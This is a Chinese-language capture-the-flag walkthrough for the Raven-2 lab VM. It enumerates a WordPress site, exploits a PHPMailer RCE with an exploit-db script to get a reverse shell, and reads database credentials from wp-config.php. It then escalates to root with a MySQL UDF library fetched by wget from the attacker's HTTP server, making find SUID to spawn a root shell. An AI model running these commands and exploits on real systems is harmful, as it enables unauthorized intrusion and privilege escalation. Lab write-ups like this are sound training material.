Raven-2拿flag思路
1.主机发现,端口扫描
2.80 端口和 WordPress CMS 的发现
3.枚举目录,发现vendor存在目录遍历
4.发现文件 PATH 并从中获得 flag1
4.1枚举wordpress目录下发现/wp-content/uploads/中意外发现flag3
5.发现文件 VERSION 并从中获取 PHPMailer 的版本
6.利用 PHP 5.2.6 版本的 RCE 漏洞
7.对 exploit 进行适当修改,获得shell
8.通过find命令找到flag2和flag3
9.在 wordpress 目录下查找 wp-config.php 文件,并从中读取数据库密码
10.连接数据库查看当前数据库是否可以UDF提权
11.使用 exploit-db 上名为 1518.c 的 UDF 动态库漏洞利用程序进行提权
13.在 find 程序设置 sticky 位
14.获取 root 访问权限
15.在 /root 下获得 flag4
1.第一步:找到目标主机
首先ifconfig找到本机ip
通过netdiscover扫描存活主机
netdiscover -r 192.168.159.0/24
通过nmap扫描出来22和80和111端口,22端口可以尝试ssh爆破
先打开80端口看下网页
发现login点了没反应
2.目录扫描
python3 dirsearch -u http://192.168.159.128/ -e * -x 404
1.通过查看发现vendor存在目录遍历
2. 在vendor中发现PATH下存在flag1
3. 通过目录结构发现其中使用了PHPmailer(是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务)。
4. 在version中发现phpmailer版本为5.2.16,存在漏洞。
5. 通过扫描wordpress下发现/wp-content/uploads/中意外发现flag3
3.漏洞利用
searchsploit phpmailer
searchsploit -m 40974.py
编辑40974.py
vi /home/kali/40974.py
运行40974.py,并访问http://192.168.159.128/shell.php ,反弹shell
利用python 的pty 做一个 bash shell
python -c 'import pty;pty.spawn("/bin/bash")'
find命令找一下flag:
find / -name "flag*" 2>/dev/null
找到flag2和flag3
通过dir扫描wordpress发现存在wp-config.php配置文件,直接打开无数据
通过bash shell
find / -name "wp-config.php" 2>/dev/null
cat /var/www/html/wordpress/wp-config.php
读取数据库密码
连接数据库:
mysql -uroot -pR@v3nSecurity
select version(); 查看数据库版本
show databases; 查看数据库名
use wordpress 切换到wordpress数据库
show tables; 查看表名
select * from wp_users;
查看一下mysql的运行权限
ps -ef|grep mysql
可以看到mysql是以root运行,并且也显示了mysql的plugin目录
首先看一下是否满足写入条件:
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
3.UDF提权
使用 searchsploit 从 exploit-db 中搜索mysql udf的 exploit
searchsploit udf
searchsploit -m 1518.c
编译EXP
根据使用条件 进行利用
gcc -g -c 1518.c —GCC编译.o文件
gcc -g -shared -o udfexp.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
本地起一个HTTP服务
python3 -m SimpleHTTPServer 8081
若出现No module named SimpleHTTPServer,使用下面的
python3 -m http.server 8081
bash shell端进行下载
wget http://192.168.159.129:8081/udfexp.so
利用EXP
use mysql;
//进入mysql
create table foo(line blob);
//创建⼀个表,名为 foo
insert into foo values(load_file('/var/www/html/udfexp.so'));
//将 udfexp.so 导⼊ foo 表,然后利用dumpfile函数把文件导出
select * from foo into dumpfile '/usr/lib/mysql/plugin/udfexp.so';
//将udfexp.so导出到 /usr/lib/mysql/plugin ⽬录中。
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
create function do_system returns integer soname 'udfexp.so';
//创建⼀个名为 do_system 的 UDF 函数,它将调⽤实现该函数的代码
//创建自定义函数do_system 类型是integer,别名(soname)文件名字
select * from mysql.func;
//查看以下创建的函数
select do_system('chmod u+s /usr/bin/find');
//调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
提权1:
执行find命令
使用find执行 shell
find udfexp.so -exec “/bin/sh” ;
或者:find udfexp -exec “id” ;
find / -name flag*
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}
总结:
这个靶机主要是考察了三个点,目录穿越,phpmailer,UDF提权